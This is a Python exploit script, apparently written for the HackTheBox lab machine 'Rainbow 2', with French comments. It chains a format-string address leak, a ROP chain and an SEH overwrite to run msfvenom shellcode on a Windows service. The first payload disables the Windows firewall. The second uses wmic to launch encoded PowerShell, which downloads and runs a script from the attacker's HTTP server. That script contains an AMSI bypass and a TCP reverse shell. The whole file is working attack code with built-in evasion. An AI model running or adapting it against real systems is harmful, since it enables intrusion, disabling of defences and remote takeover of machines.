#!/usr/bin/env python3
"""
HTB Rainbow 2 - Exploit FINAL v2
Fix v2 : remplacement de 'start /b' par 'wmic process call create'
          wmic cree le process VIA WMI -> hors du Job Object Windows
          meme si le service (Job) est tue, le process wmic-cree survit
          + Base64 pour l'encodedcommand (evite les problemes de quoting)
          + HTTP log dans /tmp/wh-rainbowtwo/http.log (diagnostic)
"""
import subprocess, sys, time, re, threading, os, base64
from pwn import remote, log, p32, listen

CIBLE_IP      = "10.129.2.76"
CIBLE_PORT    = 2121
LHOST         = "10.10.16.59"
LPORT_REV     = 4444
HTTP_PORT     = 8080
SHELL_FILENAME = "s"   # nom court -> base64 court -> shellcode court -> shikata reussit

BAD10_STR = "\\x00\\x01\\x09\\x0a\\x0b\\x0c\\x0d\\x1a\\x20\\x25"
BAD10_SET = set([0x00,0x01,0x09,0x0a,0x0b,0x0c,0x0d,0x1a,0x20,0x25])
CMD_FW_OFF = "cmd /c netsh advfirewall set allprofiles state off"

# PowerShell reverse shell servi via HTTP (fichier SHELL_FILENAME)
# $wa/$wf = variables AMSI bypass (evite conflit avec $b du reverse shell)
PS_CONTENT = (
    # AMSI bypass : coupe les strings pour eviter detection statique
    f"$wa=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');"
    f"$wf=$wa.GetField('amsiInit'+'Failed','NonPublic,Static');"
    f"$wf.SetValue($null,$true);"
    # Reverse shell TCP
    f"$c=New-Object Net.Sockets.TcpClient('{LHOST}',{LPORT_REV});"
    f"$s=$c.GetStream();"
    f"[byte[]]$b=0..65535|%{{0}};"
    f"while(($i=$s.Read($b,0,$b.Length)) -ne 0){{"
    f"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
    f"$r=(iex $d 2>&1|Out-String);"
    f"$r+='PS> ';"
    f"$n=([Text.Encoding]::ASCII).GetBytes($r);"
    f"$s.Write($n,0,$n.Length);"
    f"$s.Flush()}};"
    f"$c.Close()"
)

# CMD pour windows/exec : wmic cree le process HORS du Job Object Windows
# PROBLEME v1 : CMD trop long (296 chars, base64 232c) -> shikata echoue 100%
# FIX : IEX(IWR ...) + fichier court 's' -> base64 ~172c -> CMD ~236c -> SC ~347o (OK)
# -EncodedCommand (base64 UTF-16LE) evite les problemes de quoting dans wmic
_ps_raw = f"IEX((IWR 'http://{LHOST}:{HTTP_PORT}/{SHELL_FILENAME}' -UseBasicParsing).Content)"
_ps_b64 = base64.b64encode(_ps_raw.encode('utf-16-le')).decode()
CMD_DL = f'wmic process call create "powershell -nop -w 1 -EncodedCommand {_ps_b64}"'
log_cmd_len = len(CMD_DL)

# ─── Helpers ──────────────────────────────────────────────────────────────────
def gen_sc(payload, encoder="x86/shikata_ga_nai", iterations=1, **params):
    """Genere shellcode avec l'encodeur specifie. Retourne bytes ou None."""
    args = ["msfvenom", "-p", payload]
    for k, v in params.items():
        args.append(f"{k}={v}")
    args += ["-b", BAD10_STR, "-e", encoder, "-i", str(iterations),
             "-f", "python", "-v", "sc"]
    try:
        r = subprocess.run(args, capture_output=True, text=True, timeout=30)
        lines = [l for l in (r.stdout+r.stderr).splitlines() if l.strip().startswith("sc")]
        if not lines:
            return None
        sc = bytes(int(m.group(1),16)
                   for m in re.finditer(r'\\x([0-9a-fA-F]{2})', "\n".join(lines)))
        if any(b in BAD10_SET for b in sc):
            return None
        return sc
    except:
        return None

def leak_base():
    c = remote(CIBLE_IP, CIBLE_PORT)
    c.sendline(b"TEST %p.%p")
    c.recvuntil(b".")
    base = int(c.recvline().strip(), 16) - 0x14120
    c.close()
    return base

def build_rop(base):
    magic = (base + 0x9013c + 0x8314c26b) & 0xffffffff
    g  = p32(base+0x77ec4) + p32(0x8314c2ab) + p32(base+0x32ce4)
    g += p32(base+0x01068) + p32(base+0x01068) + p32(base+0x48ca8) + p32(base+0x15638)
    g += p32(base+0x77ec4) + p32(0x8314d26b) + p32(base+0x32ce4)
    g += p32(base+0x3039f) + p32(0x41414141)
    g += p32(base+0x0dc14) + p32(0xffffffff)
    g += p32(base+0x3ac3c) + p32(base+0x3ac3c)
    g += p32(base+0x0100f) + p32(base+0x0100f)
    g += p32(base+0x01068) + p32(base+0x14af9)
    g += p32(base+0x15354) + p32(0xffffced0)
    g += p32(base+0x77ec4) + p32(magic) + p32(base+0x32ce4)
    g += p32(base+0x2bb8e) + p32(base+0x113a8)
    g += p32(base+0x15354) + p32(base+0x01010)
    g += p32(base+0x113b1) + p32(base+0x11394)
    assert len(g) == 124
    return g

def build_payload(sc, base, rop):
    ret   = p32(base+0x01010)
    nseh  = p32(base+0x01068)
    pivot = p32(base+0x11396)
    content = ret*30 + rop + b"\x90"*4 + sc
    if len(content) > 1032:
        raise ValueError(f"SC trop grand: {len(content)} > 1032")
    junk = b"\x44" * (1032 - len(content))
    pad  = b"\x44" * (2600 - 1032 - 8)
    return content + junk + nseh + pivot + pad

def send_exploit(sc, label):
    """Envoie le payload. Retourne True si crash, False si ERROR."""
    base = leak_base()
    rop  = build_rop(base)
    payload = build_payload(sc, base, rop)
    log.info(f"  [{label}] base={hex(base)} SC={len(sc)}o envoi...")
    c = remote(CIBLE_IP, CIBLE_PORT)
    c.sendline(b"TEST " + payload)
    crashed = True
    try:
        msg = c.recvline(timeout=2)
        if b"ERROR" in msg:
            crashed = False
            log.warning(f"  [{label}] ERROR (ASLR malchance, retry)")
        else:
            log.success(f"  [{label}] Crash! (reponse: {msg.strip()[:30]})")
    except:
        log.success(f"  [{label}] Crash! (pas de reponse)")
    finally:
        c.close()
    return crashed

# ─── Setup ────────────────────────────────────────────────────────────────────
# shell.ps1 dans /tmp/ (hors du dossier Shared -> antivirus Windows ne le voit pas)
SERVE_DIR = "/tmp/wh-rainbowtwo"
os.makedirs(SERVE_DIR, exist_ok=True)
shell_path = os.path.join(SERVE_DIR, SHELL_FILENAME)
with open(shell_path, "w") as f:
    f.write(PS_CONTENT)
log.info(f"Shell ecrit dans {shell_path} ({len(PS_CONTENT)} chars)")
log.info(f"CMD_DL longueur={log_cmd_len} chars (base64={len(_ps_b64)}c)")

# Lancer serveur HTTP depuis /tmp/wh-rainbowtwo (antivirus ne surveille pas /tmp)
# Les logs HTTP vont dans http.log -> ouvrir dans un autre terminal :
#   tail -f /tmp/wh-rainbowtwo/http.log
HTTP_LOG_PATH = os.path.join(SERVE_DIR, "http.log")
http_log_f = open(HTTP_LOG_PATH, "w")
log.info(f"Demarrage HTTP server sur port {HTTP_PORT} (logs: {HTTP_LOG_PATH})...")
http_proc = subprocess.Popen(
    ["python3", "-m", "http.server", str(HTTP_PORT)],
    cwd=SERVE_DIR,
    stdout=http_log_f,
    stderr=http_log_f
)
time.sleep(1)
log.info(f"HTTP server PID={http_proc.pid} -> http://{LHOST}:{HTTP_PORT}/shell.ps1")
log.info(f"[DIAG] Surveiller les requetes HTTP dans un autre terminal :")
log.info(f"       tail -f {HTTP_LOG_PATH}")

# ══════════════════════════════════════════════════════════════════════════════
# PHASE 1 : Desactiver Windows Firewall
# ══════════════════════════════════════════════════════════════════════════════
log.info("=" * 62)
log.info("PHASE 1 : Desactiver Windows Firewall")
log.info(f"  Commande : {CMD_FW_OFF}")
log.info("=" * 62)

phase1_ok = False
for attempt in range(1, 300):
    sc1 = gen_sc("windows/exec", CMD=CMD_FW_OFF)
    if sc1 is None:
        print(f"[P1 #{attempt}] echec generation", flush=True)
        continue
    ctrl1 = sorted(set(b for b in sc1 if b < 0x20 or b in {0x20,0x25}))
    print(f"[P1 #{attempt}] SC={len(sc1)}o ctrl={[hex(b) for b in ctrl1]}", flush=True)
    crashed = send_exploit(sc1, "PHASE1")
    if crashed:
        log.success("PHASE 1 SUCCES ! Firewall desactive. Attente 15s restart...")
        for i in range(15, 0, -1):
            print(f"  {i}s...", end=" ", flush=True)
            time.sleep(1)
        print()
        phase1_ok = True
        break

if not phase1_ok:
    http_proc.kill()
    log.error("Phase 1 echouee")
    sys.exit(1)

# ══════════════════════════════════════════════════════════════════════════════
# PHASE 2 : windows/exec -> PowerShell DETACHE -> reverse shell vers 4444
# Le process PowerShell est independant du service (start /b)
# Il survit meme si le watchdog kill le service
# ══════════════════════════════════════════════════════════════════════════════
log.info("=" * 62)
log.info("PHASE 2 : wmic -> PowerShell hors Job Object -> reverse shell 4444")
log.info(f"  CMD ({log_cmd_len}c) : {CMD_DL[:80]}...")
log.info(f"  Windows telecharge http://{LHOST}:{HTTP_PORT}/{SHELL_FILENAME}")
log.info(f"  PowerShell -> connexion vers {LHOST}:{LPORT_REV}")
log.info(f"  Encodeur : x86/call4_dword_xor (deterministe, pas d'echec aleatoire)")
log.info("=" * 62)

# Listener sur 4444 (ou utilise nc si deja en ecoute)
srv = None
try:
    srv = listen(LPORT_REV, bindaddr="0.0.0.0")
    log.info(f"Listener cree sur {LHOST}:{LPORT_REV}")
except Exception as e:
    if "Address already in use" in str(e):
        log.warning(f"Port {LPORT_REV} occupe -> utilise 'nc -lvnp {LPORT_REV}' dans un autre shell")
    else:
        http_proc.kill()
        log.error(f"Listener impossible: {e}")
        sys.exit(1)

for attempt in range(1, 100):
    # call4_dword_xor = encodeur deterministe -> reussit toujours au 1er essai
    # shikata echoue aleatoirement sur les longs CMD (trop de 0x20 dans payload)
    sc2 = gen_sc("windows/exec", encoder="x86/call4_dword_xor",
                 iterations=1, CMD=CMD_DL)
    if sc2 is None:
        print(f"[P2 #{attempt}] echec generation", flush=True)
        continue

    print(f"[P2 #{attempt}] SC={len(sc2)}o (call4_dword_xor)", flush=True)

    try:
        crashed = send_exploit(sc2, "PHASE2")
    except KeyboardInterrupt:
        if srv:
            srv.close()
        http_proc.kill()
        sys.exit(0)

    if not crashed:
        time.sleep(0.5)
        continue

    log.success(f"Crash! PowerShell en cours de demarrage.")
    if srv:
        log.info(f"Attente connexion sur {LPORT_REV} (15s)...")
        conn_holder = [None]
        def _wait():
            try:
                conn_holder[0] = srv.wait_for_connection()
            except Exception:
                pass
        t = threading.Thread(target=_wait, daemon=True)
        t.start()
        t.join(15)
        conn = conn_holder[0]
        if conn:
            http_proc.kill()
            log.success("=" * 62)
            log.success("REVERSE SHELL POWERSHELL RECU !")
            log.success("=" * 62)
            conn.sendline(b"whoami")
            conn.interactive()
            sys.exit(0)
        log.warning("Timeout 15s - pas de connexion. Prochaine tentative...")
    else:
        log.info(f"Verifie ton nc -lvnp {LPORT_REV}, le shell devrait arriver (attends 10s).")
        time.sleep(10)
        http_proc.kill()
        sys.exit(0)

if srv:
    srv.close()
http_proc.kill()
log.error("Phase 2 echouee")
